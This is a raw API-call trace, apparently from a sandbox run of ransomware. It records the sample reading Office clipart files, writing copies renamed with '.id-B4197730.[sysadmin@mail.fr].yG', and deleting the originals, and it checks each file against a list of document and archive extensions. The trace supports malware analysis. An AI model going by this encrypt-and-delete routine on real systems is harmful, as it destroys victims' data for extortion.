	[0161.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.163] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=33975) returned 1
	[0161.163] CloseHandle (hObject=0x4b0) returned 1
	[0161.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220
	[0161.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.164] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.164] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.165] GetLastError () returned 0x0
	[0161.165] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x84b7, lpOverlapped=0x0) returned 1
	[0161.214] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x84c0, lpOverlapped=0x0) returned 1
	[0161.215] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.216] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.216] SetEndOfFile (hFile=0x548) returned 1
	[0161.216] CloseHandle (hObject=0x548) returned 1
	[0161.216] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.216] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.221] CloseHandle (hObject=0x4b0) returned 1
	[0161.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1
	[0161.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.223] lstrlenW (lpString=".doc") returned 4
	[0161.223] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.223] lstrlenW (lpString=".docx") returned 5
	[0161.223] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1
	[0161.223] lstrlenW (lpString=".pdf") returned 4
	[0161.223] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.223] lstrlenW (lpString=".xls") returned 4
	[0161.223] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.223] lstrlenW (lpString=".xlsx") returned 5
	[0161.223] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1
	[0161.223] lstrlenW (lpString=".ppt") returned 4
	[0161.223] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.224] lstrlenW (lpString=".zip") returned 4
	[0161.224] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.224] lstrlenW (lpString=".rar") returned 4
	[0161.224] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.224] lstrlenW (lpString=".bz2") returned 4
	[0161.224] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.224] lstrlenW (lpString=".7z") returned 3
	[0161.224] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.224] lstrlenW (lpString=".dbf") returned 4
	[0161.224] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.224] lstrlenW (lpString=".1cd") returned 4
	[0161.224] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.224] lstrlenW (lpString=".jpg") returned 4
	[0161.224] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.225] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4967) returned 1
	[0161.225] CloseHandle (hObject=0x4b0) returned 1
	[0161.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220
	[0161.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.226] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.226] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.228] GetLastError () returned 0x0
	[0161.228] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1367, lpOverlapped=0x0) returned 1
	[0161.257] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1370, lpOverlapped=0x0) returned 1
	[0161.259] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.259] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.259] SetEndOfFile (hFile=0x548) returned 1
	[0161.260] CloseHandle (hObject=0x548) returned 1
	[0161.260] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.260] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.265] CloseHandle (hObject=0x4b0) returned 1
	[0161.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1
	[0161.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0161.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0161.267] lstrlenW (lpString=".doc") returned 4
	[0161.267] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.267] lstrlenW (lpString=".docx") returned 5
	[0161.267] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0161.268] lstrlenW (lpString=".pdf") returned 4
	[0161.268] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.268] lstrlenW (lpString=".xls") returned 4
	[0161.268] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.268] lstrlenW (lpString=".xlsx") returned 5
	[0161.268] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0161.268] lstrlenW (lpString=".ppt") returned 4
	[0161.268] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0161.268] lstrlenW (lpString=".zip") returned 4
	[0161.268] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.268] lstrlenW (lpString=".rar") returned 4
	[0161.269] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.269] lstrlenW (lpString=".bz2") returned 4
	[0161.269] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.269] lstrlenW (lpString=".7z") returned 3
	[0161.269] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0161.269] lstrlenW (lpString=".dbf") returned 4
	[0161.269] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0161.269] lstrlenW (lpString=".1cd") returned 4
	[0161.269] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0161.269] lstrlenW (lpString=".jpg") returned 4
	[0161.269] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.270] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=3904) returned 1
	[0161.270] CloseHandle (hObject=0x4b0) returned 1
	[0161.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220
	[0161.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.283] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.283] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.285] GetLastError () returned 0x0
	[0161.285] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xf40, lpOverlapped=0x0) returned 1
	[0161.289] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xf50, lpOverlapped=0x0) returned 1
	[0161.290] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.290] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.290] SetEndOfFile (hFile=0x548) returned 1
	[0161.291] CloseHandle (hObject=0x548) returned 1
	[0161.291] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.291] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.461] CloseHandle (hObject=0x4b0) returned 1
	[0161.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1
	[0162.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0162.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0162.196] lstrlenW (lpString=".doc") returned 4
	[0162.196] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0162.196] lstrlenW (lpString=".docx") returned 5
	[0162.196] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0162.196] lstrlenW (lpString=".pdf") returned 4
	[0162.196] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0162.196] lstrlenW (lpString=".xls") returned 4
	[0162.196] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0162.196] lstrlenW (lpString=".xlsx") returned 5
	[0162.196] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0162.196] lstrlenW (lpString=".ppt") returned 4
	[0162.196] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0162.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0162.196] lstrlenW (lpString=".zip") returned 4
	[0162.196] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0162.196] lstrlenW (lpString=".rar") returned 4
	[0162.196] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0162.196] lstrlenW (lpString=".bz2") returned 4
	[0162.196] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0162.196] lstrlenW (lpString=".7z") returned 3
	[0162.196] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0162.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0162.197] lstrlenW (lpString=".dbf") returned 4
	[0162.197] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0162.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0162.197] lstrlenW (lpString=".1cd") returned 4
	[0162.197] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0162.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0162.197] lstrlenW (lpString=".jpg") returned 4
	[0162.197] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0162.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0162.206] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=78840) returned 1
	[0162.206] CloseHandle (hObject=0x340) returned 1
	[0162.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220
	[0162.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0162.207] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.207] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.208] GetLastError () returned 0x0
	[0162.208] ReadFile (in: hFile=0x340, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x133f8, lpOverlapped=0x0) returned 1
	[0162.214] WriteFile (in: hFile=0x538, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x13400, lpOverlapped=0x0) returned 1
	[0162.217] ReadFile (in: hFile=0x340, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.218] WriteFile (in: hFile=0x538, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.218] SetEndOfFile (hFile=0x538) returned 1
	[0162.218] CloseHandle (hObject=0x538) returned 1
	[0162.218] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.218] SetEndOfFile (hFile=0x340) returned 1
	[0162.224] CloseHandle (hObject=0x340) returned 1
	[0162.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1
	[0162.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.226] lstrlenW (lpString=".doc") returned 4
	[0162.226] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.226] lstrlenW (lpString=".docx") returned 5
	[0162.226] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0162.226] lstrlenW (lpString=".pdf") returned 4
	[0162.226] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.226] lstrlenW (lpString=".xls") returned 4
	[0162.226] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.226] lstrlenW (lpString=".xlsx") returned 5
	[0162.226] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0162.226] lstrlenW (lpString=".ppt") returned 4
	[0162.226] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.226] lstrlenW (lpString=".zip") returned 4
	[0162.226] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.226] lstrlenW (lpString=".rar") returned 4
	[0162.226] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.226] lstrlenW (lpString=".bz2") returned 4
	[0162.226] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.226] lstrlenW (lpString=".7z") returned 3
	[0162.226] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.226] lstrlenW (lpString=".dbf") returned 4
	[0162.227] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.227] lstrlenW (lpString=".1cd") returned 4
	[0162.227] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.227] lstrlenW (lpString=".jpg") returned 4
	[0162.227] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0162.229] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=32184) returned 1
	[0162.229] CloseHandle (hObject=0x340) returned 1
	[0162.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220
